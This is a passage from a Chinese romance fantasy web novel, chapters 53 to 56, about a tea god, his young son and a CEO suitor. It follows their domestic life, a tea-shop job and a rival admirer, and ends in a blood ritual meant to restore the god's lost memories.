说明他们并不是伴侣,要警惕贺任沅占据先机胡说八道。 白小茶窝在爸爸怀里,抱着温热的牛奶,用牙齿咬薄薄一层的白色装袋。宝宝不吃软饭,牙齿好好,连袋子都能咬破。 白小茶两只手揪着牛奶袋下方,牙齿磕住一角,使出吃奶的劲儿拉扯。 噗——袋子破了一口,一股牛奶直冲而出,袭击了思考中的大茶神。 白清语闭上眼睛,下意识往后仰了仰。 看见这一幕的贺任沅:“……” 他冷静地走过去,一手抽出一张纸给儿子擦脸,顺便挡住他的眼睛,一手抬起白清语的下巴,吻了上去。力道很重,需要舌面摁着皮肤压一压,才能逼出茶味。 白清语在神境里没有给贺任沅带过奶制品,其余食物也很紧缺,到他手里时已经面目全非,不会有人想用类似呕吐物玩花样。 贺任沅第一次喝到茶神的奶茶。 白清语只觉得被狼狗一样滚烫的舌头舔过眼睑、鼻尖、嘴角,所经之处绯红一片。抱着茶宝的手指紧张地揪住了他的衣服,然而茶宝的睡衣很薄,聊胜于无,只能把手指嵌着自己的掌心。 脸上的牛奶被席卷而空,对方呼出的热气仍然咄咄逼人。 贺任沅放开白清语,还挑上了:“草莓味奶茶太甜了,越喝越渴。” 白清语脸色涨红,凭什么茶宝用纸擦,他用舌头,也太羞耻了。 白小茶眼前重新看见牛奶,吸了一口,毫无立场地同意:“太甜啦,叔叔,下次买巧克力味。” 贺任沅盯着白清语:“巧克力味的,你同意么。” 白清语怀疑贺任沅在搞黄色,“不行。” 白小茶:“为什么呀爸爸?” 白清语:“……行。” ———————— [熊猫头][熊猫头] 第54章 白清语抱着孩子被轻薄,呆坐在椅子里面红耳赤,而小崽子被老板叔叔一纸障目,浑然不觉,美滋滋地垂着眼睫毛吸草莓牛奶。 老板叔叔是好人噢,明天还去小卖部买巧克力甜牛奶。 白清语抬手抹了抹脸,他是一个成熟的茶神了,不应该因为一点小事就软了身体。 贺任沅自己也不好受,想转身进浴室,忽地发现白清语一动不动,顿了一下,脑海中闪过很多画面……所以,失忆的茶神,身体还有点记忆? 每次被他这般亲吻,白清语就会受不了似的捂着眼睛一动不动,好像茶神才是手无寸铁的人类,在野外遇到猛兽,最好的方式就是趴下装死,任由对方怎么嗅闻都不敢动。 贺任沅把小崽子从他怀里抱起来,放进卧室的床上,然后折返,一只手穿过白清语的后腰,一只手抄着膝弯,抱起来,跟茶宝一样放在床上。 茶宝坐在床上,目光随着两人移动,看见爸爸也被抱起来放下,眨了眨眼,“老板叔叔有力气。” 贺任沅带喝完牛奶的小崽子去刷牙洗脸,洗干净了放在白清语身边:“睡吧。” 白清语:“哦。” “叔叔再见。” “茶宝晚安。”贺任沅帮他们把被子抖开,柔软的蚕丝薄被扬起来又落下,一看就能盖一家三口。 贺任沅回到自己的屋里,躺下时觉得被窝有些潮,苦笑了一声,不是被窝潮,是他太想要老婆孩子热炕头,没有白清语的被窝都是冷的。 半夜,贺任沅坐起来,终于能头脑冷静地分析被窝潮湿的原因——屋顶漏雨了。 他立刻堂而皇之地换了一间,在床沿轻轻躺下。 翌日。 刷牙的邓伯看见大尾巴狼从茶神的屋子晃出来,天都塌了。 他忙用牙刷柄敲了敲簌口杯:“贺老板,你走错屋子了吧。” 贺任沅道:“昨晚屋顶漏雨,所以跟清语凑活了一晚上。” 邓伯跑进去杂物间仰头一看,隐约有一丝光亮从瓦片缝隙里透出,地上的红砖也潮了一片。 白清语:“邓伯,我不是转了一万让您修一修屋顶。” 白小茶:“爷爷没有修屋顶噢?” 宝宝睡觉太挤了。 邓伯现在就是后悔,十分后悔,他想把钱攒着给白清语以后在城里买房,城里的房子太贵了,要买挑高采光足够的房子更贵。 他立刻打电话给张瓦子:“老张啊,今天有没有空,叫几个人上我家翻新屋顶。” 翻新屋顶需要老式的瓦片,邓伯又得联系人问问谁家拆掉旧房子,完好的瓦片卖给他。 白清语眼见着邓伯张罗好了,翻新屋顶期间,房子不能住人,便道:“邓伯,您跟我去南城住一阵吧,茶宝也要回去上幼儿园了。” 今天是周二,昨天茶宝又翘课一天。 邓伯有骨气地背着手:“不去不去,我在老孙头家里住两天就行了,自己家修房子,哪有不盯着的道理。” 他还不知道嘛,茶神父子在南城住的是贺任沅的房子,再加上他,拖家带口的,关系就不清白了。 白清语:“那行,五一节我再带茶宝回来看你。” 说话间,三轮车运来十包水泥和一车的瓦片,速度之快足以证明邓伯心中的懊悔。 贺任沅撸起袖子,帮忙卸货。瓦片不是全新的,边缘满是青苔,一会儿的功夫就把衬衫弄得脏兮兮。 明明茶神更有力气,贺任沅恰好地一雪前耻,不让老婆动手:“你看着我搬。” 看看他吃饱了饭多有力气。 白清语不明所以,坐在凳子上,脑袋转来转去,稍有分神,贺任沅就跟装了三百六十度摄像头一样提醒:“看着。” 白清语:“哦。”为什么要他看啊?白清语撑着下巴观赏,他昨晚已经从神境里找到了破碎的记忆光球,但他没提,因为贺任沅恢复了前半段记忆,好像变得文明了一些。说明前半段记忆对他有控制作用,后半段就不好说了,万一释放出恶魔呢?他先观察观察再说,反正东西已经掌握在他手里。 贺任沅在三轮车边半蹲,三轮车司机将一包水泥压在他肩膀上。贺任沅轻松地起身,将水泥扛到屋后的彩钢棚下避雨。 贺任沅扛着水泥进去,肩上顶着茶宝出来。 到了三轮车边,把茶宝换水泥,白小茶就迈着小短腿跟着老板叔叔进去,又被扛着出来。 白清语有点看不下去了,宝宝你怎么连口气都不给叔叔喘。 “邓叔,这后生是你什么人,干活很卖力。”三轮车司机递了一根烟寒暄。 邓伯:“清语的朋友,不是什么人。” 司机看了一眼跟着贺任沅进进出出绊脚的茶宝,心照不宣地笑了笑。 看来是茶宝的舅舅之类,茶宝妈妈的身份真是神秘。 贺任沅内心感谢屋顶漏雨,让他在离开之际有机会好好表现一次,自然十分卖力。 商务车开到村里来接他们回城时,邓伯看他的眼神明显少了一些排斥。 难怪新姑爷都爱上岳父家干活,从古至今长期的农业社会,干农活实在很适合表现自己,最容易受邓伯青睐。 贺任沅依着白清语买票,陪白清语坐了一趟从武夷到南城的绿皮火车。 有他在,再也没有人怀疑易容模样的白清语拐带茶宝。 火车卧铺是贺任沅睡过最狭窄的床铺,腿不好伸直,连翻身都不能,他又把茶宝抓过来,让他趴在自己胸膛上睡觉,让白清语睡个好觉。 半夜,他抱着茶宝在走廊无声地遛一遛,自己也喘口气。 第二天的最后几站是坐票,在贺任沅看来比卧铺更容易适应。 “奶贝、呼伦贝尔的奶……” 售卖员的声音隔着三个车厢传来,白小茶就从叔叔怀里爬了起来:“叔叔,是免费的奶贝。” 白小茶仰着脑袋,提前忧愁起来,如果火车叔叔送他两颗奶贝,那是给爸爸吃,还是给叔叔吃。 贺任沅低头问:“怎么了茶宝?” 白小茶痛下决定:“免费的奶贝爸爸一颗,叔叔一颗,宝宝不吃,没关系的。” 关系大了。 贺任沅又心疼了,列车员在上一个车厢推销了五分钟,说辞他都听见了,于是对方一进来,他便举手:“麻烦给我来三包。” 白小茶:“唔?” 等售卖员到了近前,贺任沅扫码付钱,看了看茶宝,破天荒地询问赠品:“能不能免费品尝两颗?” 白清语和茶宝看向贺任沅的眼神微微带上崇拜。 售卖员痛快地给了茶宝两颗:“小朋友乖乖的,姐姐送你。” 白小茶:“宝宝乖乖的!” 贺任沅将免费的奶贝撕开,一颗给儿子,一颗给老婆。 他瘫痪期间,白清语为他从人间带来许多免费的东西喂养他,他没有资格看不上这些小赠品。 或许白清语就是因为要养他才爱上免费的东西。 如果赠品能让老婆孩子开心,为什么不能问呢? 白小茶:“叔叔也吃!” 贺任沅撕开大包的奶贝:“好。” 白小茶:“好多好多奶贝,管家爷爷一把,厨师爷爷一把,江奶奶……” 贺任沅一愣,他就没想过出门要给他爸妈带点特产,因为他爸妈天南地北地跑,往家里打钱外,几乎不会携带特产。 等回到家,贺任沅依照茶宝的旨意,给贺家送去一包奶贝。 贺望重立刻打电话过来问:“谢谢茶宝给爷爷买的特产。茶宝想吃什么?爷爷马上做。” “厨师爷爷中午好,宝宝什么都可以吃。”白小茶想起什么,一板一眼地补充,“爸爸说宝宝不能吃燕窝噢。” 贺望重心虚道:“爷爷知道,爷爷家里都没有燕窝了。” 贺任沅想起自己燕窝过敏时难以忍受的痒意,对贺望重道:“确定都搜干净了?否则别想茶宝去你家。” 贺望重:“真的真的,用你妈妈的人品保证。” 过了一会儿,贺望重亲自过来送饭,并看看大孙子。 白小茶吃干净了一碗鸡蛋羹:“好吃。” 贺任沅沉默了一下,也学茶宝随了一句:“爸,您厨艺不错。” 贺望重:“现在才知道讨好你爸,晚了,茶宝餐厅没有你的股份。” 贺任沅:“……”呵,难吃。 他站起来,去找接了个电话突然消失的白清语,在花园里看见他。 “谁给你打电话?” 白清语挂断电话:“是余老先生,他说我可以去他的茶行兼职,想去就去,不想去就不去,只要我在茶行,销售额我都有提成。” 听起来只要坐着当吉祥物就有提成,白清语美滋滋地说:“据说一天能提成两千块。” 邓伯家漏雨这事提醒他了,邓伯其实在旧房子旁边还有一块宅基地,可以建一个钢筋混凝土的小房子。 他要多多兼职攒钱,争取今年就把房子盖起来。 贺任沅:“两千就想找茶神当茶行的吉祥物?” 白清语:“别人又不知道我是茶神。” 贺任沅:“我雇你,一天五千。” 白清语:“不要,我不吃你的糖衣炮弹。” 贺任沅只能眼睁睁看着自己名义上的员工,实际上的老婆,光明正大去别人家兼职。 他只能冷脸先送儿子上学,再送老婆上班,最后去自己公司。 白清语在余经天的茶行工作很轻松,大家知道他是空降的,但不跟他们抢业绩,人好相处,长得又绝美,简直像上班发福利。 白清语往门口一站,进来逛逛的人明显增多,许多人消费不起高档茶叶,白清语也会笑眯眯地跟他们介绍,再客气地送出去。 刚送走一对说要准备见家长送茶叶礼盒的小情侣,虽然对方没买。 过了一会儿,白清语发现女生换了个男朋友,又说要看看礼盒。 白清语微微疑惑,这个女生是有两个对象吗?他要告诉这个男生刚才他女朋友来过一次了么? 他纠结极了,直到送走顾客,同事看不下去了,点醒他道:“那女生就是变着法来追星的,你纠结啥啊。” 白清语也太迟钝了,人家全程都盯着你的脸看,你居然还在纠结她的两个男朋友。 “你不要站门口了,吸引太多不是目标客户的颜狗。”同事心疼他一早上说了太多话,道,“等下真有目标客户了我喊你。” 下午,茶行来了一个富二代。 同事说话算话,连忙让白清语来见识见识真顾客。 富二代买走了五万茶叶。 白清语:!!! 他第一反应,是分享给贺任沅他的第一单生意。 贺任沅小心眼:“你给他泡茶了?” 白清语:“没有。” 贺任沅吹捧:“不费吹灰之力,很棒。” 第二天,白清语又卖出了五万块。 “还是那个富二代!他又买了,被你一提醒,我给他泡茶了,他本来只想买两万,多买了三万。” 贺任沅:“……”这个班可以不上吗? 白清语:“这个顾客是个真正爱茶之人,你说得对,在茶行可以看见许多真心喜爱茶叶的文雅之士,跟他们交流很愉快。” 贺任沅:“……”他爹的正常人谁连续两天去买茶叶?这分明是想泡他老婆! 贺任沅比邓伯没修屋顶更后悔,悔得肠子都青了,他绝对是有病,才想着劝饿不死的茶神去茶行上班。 这个破班人类上上就行了,神仙上什么班! 这个破班上不下去了,贺任沅抓起车钥匙,陪老婆站柜台,守株待兔。 他倒要看看情敌的真面目。 贺任沅一身气质绝佳的高定西装,有别于大堂经理一看就是打工人,他往那一站,便是顶部总裁级别的巡视商场。贺任沅陪着茶神站了一天柜台,并没有情敌出现。 很好,一定是他的出现震慑到了情敌,情敌自愧弗如,贺任沅稍微放松了一些,据其他同事汇报,情敌长得远不如他。 周五下午,他约了医生抽血,便没去。 医生问道:“这次也是抽两百?”两次加起来四百,接下来最好要隔半年。 贺任沅漫不经心地“嗯”了一声,卷起袖子,桌上的手机屏幕一亮。 [白清语]:我刚才又卖出去了十万。 贺任沅咬牙:“抽250cc。”白大茶你个二百五,居然还看不透别人的险恶用心。 他要尽快让白清语恢复记忆,让他知道,这样刺激人类是不对的。 [白清语]:原来这个顾客昨天没来是因为去外国谈了一批茶叶出口生意。 贺任沅冷笑:“抽300cc。”够了,他要马上恢复。 [白清语]:他好厉害,把茶叶卖到外国挣外汇,让世界都喜欢中国茶。 贺任沅失去理智:“抽400CC。”多来一点血更有保障。 [白清语]:他约我吃饭,谈一谈如何在国外弘扬茶文化,让茶叶比咖啡更受外国人欢迎。 贺任沅怒了:“五百!” 他今天就要把这盆狗血淋白大茶头上。 医生瑟瑟发抖:“您冷静。” 第55章 医生可不敢给恋爱脑抽血。 “您体内酸碱极度不平衡,建议过阵子再抽。” 贺任沅深吸一口气:“没事,我调理好了。” 刚才那么疯狂这么快就调理好了?医生仍然拒绝,怕贺任沅在他这抽两百,出门了丧失理智又找下一个医生续摊两百。 恋爱脑也是脑残的一种,给脑残抽血必须征得监护人同意这个注意事项必须写入医生手册。 医生收起了抽血针,“如果您执意要抽,我必须知会贺董。” 贺任沅郁闷,他都有老婆孩子了,还没有就医自由? 医生突然就有了心理医生的执照,循循善诱:“快到下班时间了,白先生会不会跟人吃饭去了?” 贺任沅刷地站起来,他被愤怒冲昏头脑了,当务之急应该是阻止白清语跟不怀好意的人类吃饭。 …… 茶行。 余家的茶行,装修得十分有格调,柜台也古色古香,不是玻璃的,而是一整张的楠木桌子,茶叶放在一格一格小抽屉,仿佛中药房的药柜。 白清语站在柜台后面,对常常光顾他的富二代道:“抱歉,我晚上没有时间,我得接宝宝放学。” 虽然弘扬茶文化很重要,但是茶宝更重要。 “宝宝?”富二代脸色微变,“你有孩子了?” 白清语笑眯眯道:“是噢。” 富二代难以置信地看着他,他第一次看走眼,眼前这人分明纯得未经污染,怎么已经有孩子了? 富二代失魂落魄地离开。 其他同事一拥而上,齐声问道:“清语你孩子都上幼儿园了?” 白清语手肘支着柜台,微微转眸:“嗯。” 同事一个个惊掉下巴,这就是大美人和凡人的差距啊,哪怕孩子都能打酱油了,仍然有富二代前仆后继。那个富二代就算了,贺总肯定是知道的,也死心塌地? 一个很想钓金龟婿的同事崇拜地看着白清语,除了长得好看,一定还有其他高超的技巧。 白清语划开手机,给贺任沅分享今日上班见闻,贺任沅让他事无巨细地报备。 白清语本来想反着来,但是又忍不住想要分享。 他一个词组一个词组地打字,打完一句话就发出去,垂着眸子很是认真。 同事略为八卦地投来一眼。 白清语本来想挡一下手机屏幕,转念一想,他和贺任沅什么都没有,清清白白的,贺任沅昨天过来督岗,导致同事看他的眼神十分暧昧不明。 澄清一下。 于是,茶神故意把手机调了个角度,让八卦的同事们一览无余他和贺任沅的聊天记录。 君子坦荡荡。 大家一看白清语这么大方,便也没有边界感地围了上来。 “专属律师?” “这个律师就是贺总吧,贺总好像以前当过律师。” “嘶……” 白清语继续淡定地发:他要请我吃饭…… 发完,白清语还往上拖了拖聊天记录,证明他昨天、前天,都很清白。 同事们倒吸一口冷气,对白清语刮目相看。他们以为白清语笨,原来是隐藏钓系美人! 瞧瞧这茶言茶语!句句是刺激! 刚才那个富二代算什么,真正的霸总都被钓得死死的,竟然还来陪大美人站了一天柜台。 最恐怖的是,霸总早就上钩了,白清语竟还很有定力,就让霸总不上不下地在半空中耗着,水分都挣扎干了,这叫什么,延迟满足! 同事佩服地看着白清语:“你平时都这么跟贺总说话?” 白清语点点头:“我只这么跟他说话。”没有你们想的那些哦。 同事盯着白清语纯真没有心机的脸,在故意和天然之间反复横跳,半晌道:“清语你是真天然茶。” 白清语不好意思道:“被你看出来了。” 同事惊艳地看着白清语,原来是茶而自知,“是怎么做到这么天然的?” 白清语以为同事在讨教如何更加具备茶神气质卖出更多茶叶,但是他的经验不可复制,只能含糊道:“多淋雨。” 同事咬着红唇,想到自己看过的无数偶像剧,淋雨可以让人虚弱、让人苍白、楚楚可怜,可以增加困境、烘托气氛、推进高潮,真是屡试不爽的招数。 同事一打岔,白清语就忘记告诉贺任沅自己拒绝顾客吃饭这件事。 他收起手机,打算下班去接白小茶回家,门口突然停了一辆豪车。 贺任沅面色不善地从车里出来,浑身戾气地环视一圈:“那个人呢?” 白清语不解:“谁啊?” 贺任沅语气里都下着刀子:“买茶的。” “他已经走了。”门口不好停车,白清语见贺任沅一副要站在这里当门神的样子,催促道,“快走吧,茶宝要放学了。” 昨天很多人冲着贺任沅进来询问,贺任沅站柜台又没有提成,不是给余经天白打工吗? 贺任沅冷脸打开副驾门:“你还知道你有家室!” “安全带系好。” 同事们挤在门口观看:“……” 啧啧啧,霸总就吃这一套。贺总堂堂一米九的男子汉,一点抵抗力都没有,一钓就换了豪车跑过来查岗。 过了五分钟,刚才的富二代又来了,他思来想去,觉得难得遇到举止优雅,内涵丰富的大美人,少见的上得厅堂。如果孩子跟前妻,不跟着他们一起生活,不影响谈恋爱也是可以的。 “白清语呢?”富二代状似随意地问,“他孩子跟前妻吗?” 同事们:“哦,被他老攻接走了。” 兄弟你没有贺总有钱有颜,思想觉悟也不高,这么久连微信都没加上,一看就是催化剂,没戏。 富二代:“……” * 贺任沅打算等明天周六体面地一家三口出席完江教授的婚礼,沾沾喜气,再行抽血。 他一边开车一边给白清语上眼药:“什么生意一天就能国内外来回? ” 白清语有点懵,甚至没明白他话里的主角是谁。 贺任沅:“大生意至少要带团队驻外一周吧。” 老婆仅仅上班三天,贺任沅就爆发了强烈的占有欲,不想让他接触人类,想把他锁在身边寸步不离,他知道这样不对,可莫名觉得这种汹涌的情感来得熟稔澎湃。 算了,不提扫兴的人。 情敌一场忙活,白清语都不明白他的意图,挑破了反而不妙。 他开往幼儿园门口,白清语下车去接了茶宝,2分钟后,贺任沅发动汽车,载着父子两回家吃饭。 翌日中午,他和白清语携茶宝参加了江礼帛的婚礼。 江礼帛虽然说要低调,但是徐诏在细节处的用心让低调变得爱意满满。 贺任沅参考了一些经验,但不多,因为白清语应该更喜欢户外婚礼。 江父江母的兄弟姐妹,徐家的亲朋好友,生意上的重要伙伴……一个宴会厅摆了十桌,说是低调是针对同档次的家世而言。 茶宝第一次参加婚礼,“叔叔,婚礼是什么呀?” 贺任沅:“就是大家一起吃饭,一起开心,一起祝福江叔叔和徐叔叔。” 白小茶:“宝宝好开心哦!” 徐诏让白小茶帮他送戒指,白清语问他白小茶要穿小西装吗,徐诏说不用,日常就好。 白小茶有了老板叔叔,每天上学的衣服都是精心挑选的,日常可爱。 白小茶抓紧吃餐前的芒果露:“宝宝吃饱了才有力气。” “叔叔你怎么不吃?” 贺任沅皱眉,不确定地说:“叔叔好像不喜欢吃芒果。” 白小茶惊讶叔叔还有不吃的东西,舀起一勺芒果:“叔叔真的不喜欢?” 贺任沅:“嗯。” 白清语抽了一张纸帮茶宝垫着衣服,要是吃脏了就不美了。 江礼帛和徐诏交换戒指时,白小茶稳重地上台送了戒指,口齿清晰地祝福:“祝叔叔百年好合。” “真可爱啊,这小崽子谁家的。” 有人问了一声,贺望重立即跳出来认领:“是我孙子,白小茶。” “老贺,不声不响的,孙子都有了,还这么可爱。” “下个月我给孙子开的餐厅开业,大家再聚啊,都带小孩子来。” …… 贺任沅觉得他爸都公开到这份上了,白小茶再叫他叔叔就太奇怪了。 他发消息给私人医院的冷冻库,让他们准备解冻他的所有血液。 他最近的表现应该能挽回一些软饭男的形象吧? “你最近好喜欢吃菠菜啊。”白清语发现了,因为婚宴上没有菠菜,贺任沅还让服务员给他烫点。 白小茶很懂:“因为吃菠菜有力气。” 贺任沅给他喂了一勺鸡汤,好歹是没提“强壮”两个字了。 他看了一眼隔着两桌,贺望重跟同桌好友炫耀孙子,满面红光,低头对白小茶道:“一会儿爷爷带你去餐厅玩一玩,是茶宝的专属餐厅。” 白小茶:“好噢。” 婚宴结束,大部分宾客留下来交谈,贺任沅把白小茶交代给爹妈,迅速被一圈叔叔阿姨围住。 贺任沅带着白清语悄悄撤退。 他虽然放话说要淋白清语一头,但是现实操作时不敢这么放肆,如果可以,他并不想爱人的双手沾满他的血。 如果白清语能够变成茶树,他把血渗进他的树根,场面会不会和谐一些? 这样会不会导致失败? 贺任沅脑海中百转千回,出去宴会厅后借口上了个厕所,去抽了200CC的血。 他隔着衣服按着止血棉花,出来时脸色没那么好了。 白清语一下子就发现他的不对:“我总觉得你最近感冒了,你还说没有。” 贺任沅承认道:“微感冒,我有事跟你说,先回家。” 白清语想碰一下贺任沅的手腕,被他躲过去。 白清语脸色也变了,“你瞒着我干什么了?” 贺任沅带着他往车边走,白清语看见了等在那儿的司机,贺任沅一定是干了什么,开车都不稳了。 白清语停在那儿,不肯走:“你说清楚。” 贺任沅只好低声哄道:“我把我在医院的储血都召回,大约有一千五百毫升,成年人失去这些血量足以致死,我们试试能不能骗过你祖上的禁制。” 白清语怔怔地看着他,“你最近也抽了很多是不是?” 贺任沅:“一点,大多是以前存的。” 白清语:“你骗我。” 贺任沅:“对不起宝宝,我是骗你了,那你看在我这么处心积虑的份上,能不能配合我一次?不用也是浪费。” 浪费?不能浪费…… 白清语恍惚着跟贺任沅回家,别墅的家政已经清空,偌大的别墅安静得针落可闻。刚从热闹的婚礼现场出来,竟然觉得不适应,明明茶神在寂静的神境里生活过无数日子。 贺任沅按够了针眼,松手从兜里掏出一个长盒。 白清语眼皮一跳,这个姿势他非常熟悉,因为刚刚徐诏演示过,打开来是戒指。 砰——贺任沅打开盒子,里面躺着一支翡翠茶叶簪子。 “勺子给小茶,簪子送大茶。” 神境里成功的经验,不借鉴是傻子。他选在这个时间点送,也是想最后尝试一次表白,或许,白清语没有恢复记忆也会像他这样第二次、第无数次地爱上他? 贺任沅的目光前所未有的虔诚和认真,和总是算流氓的样子不一样。 白清语听见了自己的心蠢蠢欲动,可是心里有另一道声音说,就算很心动、很想答应对方,也不能马上同意。 那道声音也很重要,拉扯着,心脏竟然传来一丝疼痛。白清语按住自己的胸腔,低头看着,想听一听它的声音。 白清语的沉默让贺任沅知道了答案,他心里有些挫败,难道真的只有没谈过恋爱的茶神才能看上他?一旦有了防备,就算是同一个人也无法打动。 神仙真的明白爱是什么吗?会不会是一时新鲜? 贺任沅一哂,明明是最靠近得偿所愿的一步,他却在这胡思乱想。 多想无益,动手便罢。 贺任沅打开一旁的医疗箱,先拿出了一片黑色眼罩:“血太多不好看,你闭上眼睛,把它当成热水或者狗血。” 白清语眼前一黑,双眼被贺任沅紧紧束缚住。接着,他的手中被塞进一把匕首。 “拍刺杀戏份时,拍摄的时候演员胸口藏着一包血袋,都是假的。”贺任沅拉着白清语的另一只手,让他去摸医疗箱里已经解冻至人体体温的血袋。 白清语的指尖颤了颤。 贺任沅把血袋夹进衣服里,努力还原古书里的场面,“我带着你的手,你别紧张。要快点,血液要凉了。” 白清语的手在抖,贺任沅笑了一下,问:“老婆,你杀过鸡吗?” 下一秒,匕首的刀锋划破衬衫没入皮肉,鲜血涌了出来。 贺任沅一声不吭,握着白清语的手继续往下三寸,匕首才刺破血袋,更加大量的鲜血喷出来。 温热的液体顺着匕首,蔓延到白清语手心、滴滴答答地落在他赤裸的脚背上。 白清语脸上黑色的眼罩也泅湿了一片,他抬手想摘去眼罩,却被贺任沅揽入怀里。 两人握在一起的手染红一片,白清语被贺任沅压得更紧,为了把血袋里液体挤干净,也为了控制他的双手不去摘眼罩。 豆大的泪水从白清语眼眶里涌出。 他的黑色眼罩,贺任沅的黑色衬衫,都被浸透,分不清是血是泪。 白清语想努力看清眼前的人,可是他的眼前非黑即白,黑色是凡人的障眼法,白色是神境的云烟。 他想起来了……他想起来了。 白清语扔下匕首,双手赤红地抱住了贺任沅。 首先占据他脑海的,不是温存的日夜,是贺任沅拄着拐杖踉跄焦急地向他跑来。 那时两人刚决定好等贺任沅内伤养好,就一起去人间过日子。 贺任沅开始给他普及人类世界的常识,最重要的便是各种法条。 他给白清语讲购物、讲扫码支付、讲交通法、讲过红绿灯。 恰逢白清语去人间拿吃的,他去了繁华一些的镇上,大清晨揪着白色面粉袋,在芒果树绿化带下,捡掉昨夜被风摇落的小芒果。 他需得很早就来,迟一些环卫工就会扫走,或者被汽车轮子压成烂泥。 他捡了满满一袋,大约有二十斤,够贺任沅吃很久。这些熟透的芒果糖度很高,如果他制作成芒果酱泡水,可以很好地给贺任沅补充糖分。 茶神捡着捡着,耳垂突然红了。 他轻松地拎着芒果,看见对面的道上也有芒果,便专门找了一个红绿灯过马路。 一辆电驴,趁着清晨无人,风驰电掣地开着,司机看手机上的消息,不看红绿灯,和白清语迎面撞上。 白清语早就看见电动车了,但是贺任沅说人类的世界规则是红灯停,绿灯行。 现在斑马线绿灯,理应是他过。但电驴并没有停下的意思,白清语执拗地站在原地。 贺任沅总让他反驳他,找他话里的漏洞。 可是他又很笨,哪里会找。 白清语瞪着电驴,心道,他找到贺任沅的漏洞了——他说的红绿灯行不通。 白清语本想极限闪避,但忘记了自己手里的一麻袋芒果。 麻袋被电动车勾住,连带不愿意松开麻袋的白清语也一个踉跄。 芒果洒了一地,白清语手肘微微擦伤。 司机左右张望了下,怒骂道:“你没长眼啊!是不是故意碰瓷!一百块给你买盒创口贴!多了不用找了。” 司机明显要吓唬白清语私了,表情很凶地扔下一张钞票。 白清语捡起钞票,呆呆地看着司机:“给我的?” 司机跨上电动车:“当然!就这样!” 白清语把钞票塞进兜里,顾不上疼,满地捡芒果,免得芒果变成贺任沅口中的“道路障碍”。 脆弱的面粉袋子破了一个口子,白清语一手捏破洞,一手拎口子,搬回了神境。 到了神境把芒果放下,白清语才有空抬手看自己的手腕,擦破了一点,但没关系。他也不想用神力恢复,因为贺任沅的内伤还需要神力。 他捣点草药糊一下就好了。 贺任沅看见白清语捂着胳膊,看见他穿了一百年都没破的长衫破了一个洞,就知道他在外面遇到意外了。 “过来我看看。” 白清语把手背到身后,“我要去把芒果洗一洗,都是灰尘,你会吃芒果皮吗?我可以连皮一块制作果酱吗?” 贺任沅知道他故意用“芒果皮”不高明地转移话题,“你过来。” 白清语不但不过来,还跑。 贺任沅一急,生怕是大问题,拄着自制的拐杖追上去。 但地上不是水泥地,布满青草、石头、千年茶树的树根。 贺任沅心里着急,不留神就被树根绊倒,拐杖摔断,灰头土脸,但无所谓。 他就算再废物,还有两只手,爬遍山头也要找到白清语。 复行不过数十米,白清语听见动静,跑回来出现在他身旁:“我没事,就是被一辆电动车刮到了,我的芒果洒了一地。”提起芒果,他的语气更心疼。 贺任沅满眼懊悔地看着白清语出血的手肘,他大错特错,外面的世界很危险,他不应该放任一个人去人间,为了他的口腹之欲。 他宁可没力气,再也不吃了。 ———————— 后半段:不吃饭的贺总。 第56章 “在我伤好之前,我们不要出去了。”贺任沅怕了,万一自己教什么,茶神出去实践什么,一个残废的他如何能当带队老师。 白清语睁圆了茶色的眼睛,他很喜欢出门给贺任沅搜集食物的过程,就像家里养了一只很乖的小兔,他每天都高高兴兴地给他采集青草,还有喂食、清洁、治疗。 贺任沅暂停当茶神的Q\Q宠物,摇身一变人民教师,以教书育树为己任。 他发现光是教茶神规则没有用,因为不守规则的人太多,他应该教会茶神应对规则,而不是遵守规则。 “我没事,这一点伤我找点草药两天就好了。”白清语从兜里掏出一百块,张开,像举着横幅一样在贺任沅眼前晃过,“不白撞,他还给了我一百块。” 贺某人是一百块在地上都懒得弯腰的人,此时此刻他的老婆被车撞了还为一百块赔偿喜滋滋,他闭了闭眼:“茶神大法官,被告闯红灯,全责,我老婆去医院检查至少要一千,还不算营养费和误工费,被告用一百块就吓唬他,欺负他不懂法,这样可以吗。” 贺任沅经常编造各种情景模拟上课,白清语既是学生又是法官。 茶神大法官立刻判案,营养费?对哦,他看见司机的电动车上挂了一袋包子,如果愿意赔偿他一个,他就可以带给贺任沅吃了:“被告应该给一点营养费的。” “误工费?你老婆有工作吗?能提供工资流水吗?”白清语的法律课堂小有成效,他现在已经学会找贺律师的漏洞。 贺任沅:“原告要照顾瘫痪的丈夫,是家庭主要劳动力。” 茶神大法官被贺律师的这句话取悦,道:“是给少了一点。” “不过我也有错,我明明可以早点躲开的。” 贺任沅咬牙:“那你为什么不躲?” 白清语:“我想给他一点教训,撞我没事,下次要是还不看路,撞到凡人了怎么办。” 贺任沅听完又气又笑,想晃一晃他的脑袋。 白清语把一百块折好,塞进贺任沅的西装裤里,上交财政:“给你。” 贺任沅怎么敢收钱,“你留着,买你想要的东西。” 因为茶神受伤,贺律师停课一天,潜心写教案,纸笔是白清语在学校里捡的。乡村小学学杂费全免,每年还免费发很多作业本,学渣小孩使用本子非常浪费,经常写了几页就扔掉一本。 白清语给芒果剥皮,去核,施法在一个石头凹槽里降雨洗干净,然后把芒果果肉放进去,用一块圆柱形的石头捣碎。 这里的食物不会过期,吃多少取多少。 贺任沅一般不会观看白清语的做饭过程,免得影响食欲,毕竟这年代只有养畜生还在用这样石头食槽。 他写好了教学计划,每日八节课,让白清语没空出去捡绿化带的芒果。 考虑到使用手机,拼音打字更方便,贺任沅还教茶神拼音。 白清语起初上课兴致勃勃的,因为他很喜欢听贺任沅说话,看着就像开庭会爱上律师,上课会爱上老师的笨蛋。 贺任沅说的话都很有道理,但是贺任沅出的题又很难。 贺任沅:“有不法分子,除了我,要送你大额财物,怎么办?” 白清语完整答题:“我不要,因为以追求为目的送礼可能会被收回,以其他目的送财物可能涉及洗钱。” 贺任沅亲了下他:“真聪明。” 他对白清语人类说什么信什么这个问题,最为头痛,可谓心腹大患,没有纠正之前伤都不敢好。 贺任沅只能以自己为例,如果白清语在他这里学精明了,那其他人也不在话下。 “我只是律师,你是神明,是法官。” “驳斥我的论调,质疑我的证据。反驳成功有奖励。” 白清语抬眸看着他,“只有亲亲,没有别的奖励了?” 贺任沅现在既不跟他上床,也不跟他要饭吃,整个人禁欲了。他的唇色没有过去那么红润,萦绕一股知识分子的清高。 贺任沅轻咳一声:“你现在是学生,不要想这些,等我伤好了,我没力气。” 白清语:“你没力气上床,倒是有力气上课。” 贺任沅很欣慰他会阴阳怪气:“上课不费力气。” 白清语:“学法都丧失人性了。” 贺任沅:“……” 白清语用茶泡了一杯芒果酱,推过去:“你喝。” 好喝的绿茶芒芒。 